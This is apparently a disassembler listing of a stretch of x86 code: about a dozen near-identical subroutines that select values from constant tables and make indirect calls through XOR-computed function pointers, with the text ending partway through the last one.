; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AF5DE	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB4Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 5Dh
		mov	[ebp+var_2C], 61h
		mov	[ebp+var_28], 23h
		mov	[ebp+var_24], 37h
		mov	[ebp+var_20], 0E8h
		mov	[ebp+var_1C], 3Bh
		mov	[ebp+var_18], 0ACh
		mov	[ebp+var_14], 65h
		mov	[ebp+var_10], 14h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 14h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AF66F
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AF66F:				; CODE XREF: sub_4AF5DE+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AF5DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AF6DB	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB50o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 11h
		mov	[ebp+var_2C], 0E7h
		mov	[ebp+var_28], 29h
		mov	[ebp+var_24], 40h
		mov	[ebp+var_20], 5Fh
		mov	[ebp+var_1C], 0B9h
		mov	[ebp+var_18], 0D2h
		mov	[ebp+var_14], 9Ch
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AF76C
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AF76C:				; CODE XREF: sub_4AF6DB+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AF6DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AF7D8	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB54o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 6Ch
		mov	[ebp+var_2C], 64h
		mov	[ebp+var_28], 1Ch
		mov	[ebp+var_24], 9Fh
		mov	[ebp+var_20], 73h
		mov	[ebp+var_1C], 4Eh
		mov	[ebp+var_18], 0E5h
		mov	[ebp+var_14], 2Bh
		mov	[ebp+var_10], 12h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 12h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AF869
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AF869:				; CODE XREF: sub_4AF7D8+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AF7D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AF8D5	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB58o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 8Dh
		mov	[ebp+var_2C], 0F8h
		mov	[ebp+var_28], 0DAh
		mov	[ebp+var_24], 0CCh
		mov	[ebp+var_20], 6Ah
		mov	[ebp+var_1C], 16h
		mov	[ebp+var_18], 74h
		mov	[ebp+var_14], 0CAh
		mov	[ebp+var_10], 0
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AF963
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AF963:				; CODE XREF: sub_4AF8D5+7Bj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AF8D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AF9CF	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB5Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 6Bh
		mov	[ebp+var_2C], 7Dh
		mov	[ebp+var_28], 94h
		mov	[ebp+var_24], 0C3h
		mov	[ebp+var_20], 71h
		mov	[ebp+var_1C], 4Bh
		mov	[ebp+var_18], 25h
		mov	[ebp+var_14], 43h
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AFA60
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AFA60:				; CODE XREF: sub_4AF9CF+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AF9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AFACC	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB60o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 18h
		mov	[ebp+var_2C], 7Dh
		mov	[ebp+var_28], 83h
		mov	[ebp+var_24], 3Dh
		mov	[ebp+var_20], 62h
		mov	[ebp+var_1C], 9
		mov	[ebp+var_18], 58h
		mov	[ebp+var_14], 0DEh
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AFB5D
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AFB5D:				; CODE XREF: sub_4AFACC+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AFACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AFBC9	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB64o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 93h
		mov	[ebp+var_2C], 4Eh
		mov	[ebp+var_28], 5Bh
		mov	[ebp+var_24], 0D3h
		mov	[ebp+var_20], 9Dh
		mov	[ebp+var_1C], 9Ch
		mov	[ebp+var_18], 0F2h
		mov	[ebp+var_14], 0CBh
		mov	[ebp+var_10], 12h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 12h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AFC5A
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AFC5A:				; CODE XREF: sub_4AFBC9+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AFBC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AFCC6	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB68o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 32h
		mov	[ebp+var_2C], 0F0h
		mov	[ebp+var_28], 0D9h
		mov	[ebp+var_24], 37h
		mov	[ebp+var_20], 0C6h
		mov	[ebp+var_1C], 0E6h
		mov	[ebp+var_18], 86h
		mov	[ebp+var_14], 0DBh
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ah
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AFD57
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AFD57:				; CODE XREF: sub_4AFCC6+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AFCC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AFDC3	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB6Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0D1h
		mov	[ebp+var_2C], 0B5h
		mov	[ebp+var_28], 0Ah
		mov	[ebp+var_24], 6Bh
		mov	[ebp+var_20], 57h
		mov	[ebp+var_1C], 4Ch
		mov	[ebp+var_18], 0AFh
		mov	[ebp+var_14], 0ACh
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ah
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AFE54
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AFE54:				; CODE XREF: sub_4AFDC3+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AFDC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AFEC0	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB70o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 8Fh
		mov	[ebp+var_2C], 92h
		mov	[ebp+var_28], 0BBh
		mov	[ebp+var_24], 94h
		mov	[ebp+var_20], 5Dh
		mov	[ebp+var_1C], 76h
		mov	[ebp+var_18], 55h
		mov	[ebp+var_14], 0Dh
		mov	[ebp+var_10], 0Dh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Dh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AFF51
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AFF51:				; CODE XREF: sub_4AFEC0+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AFEC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AFFBD	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB74o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 4Ah
		mov	[ebp+var_2C], 0A8h
		mov	[ebp+var_28], 9Fh
		mov	[ebp+var_24], 79h
		mov	[ebp+var_20], 0ECh
		mov	[ebp+var_1C], 0A0h
		mov	[ebp+var_18], 51h
		mov	[ebp+var_14], 88h
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
